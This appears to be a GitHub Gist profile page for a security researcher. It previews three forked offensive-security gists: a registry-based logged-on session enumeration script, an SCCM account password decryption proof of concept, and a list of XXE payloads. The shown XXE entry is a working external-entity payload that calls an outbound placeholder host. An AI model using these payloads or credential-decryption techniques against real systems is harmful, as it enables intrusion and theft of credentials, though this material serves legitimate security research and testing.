Chris Thompson Mayyhem

Senior Security Researcher @ SpecterOps

Mayyhem / Get-LoggedOn.py

Created November 2, 2023 17:26 — forked from GeisericII/Get-LoggedOn.py

Stupid simple script copied and pasted from reg.py/lookupsid and inspired from itm4n's session enum via registry

	#!/usr/bin/python3
	from __future__ import division
	from __future__ import print_function
	import re
	import codecs
	import logging
	import time
	import argparse
	import sys
	from impacket import version

Mayyhem / sccmdecryptpoc.cs

Created August 18, 2023 01:45 — forked from xpn/sccmdecryptpoc.cs

SCCM Account Password Decryption POC

	// Twitter thread: https://twitter.com/_xpn_/status/1543682652066258946 (was a bit bored ;)
	// Needs to be run on the SCCM server containing the "Microsoft Systems Management Server" CSP for it to work.

	using System;
	using System.Collections.Generic;
	using System.Runtime.InteropServices;

	namespace SCCMDecryptPOC
	{
	internal class Program

Mayyhem / XXE_payloads

Created February 9, 2023 18:49 — forked from staaldraad/XXE_payloads

XXE Payloads

	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>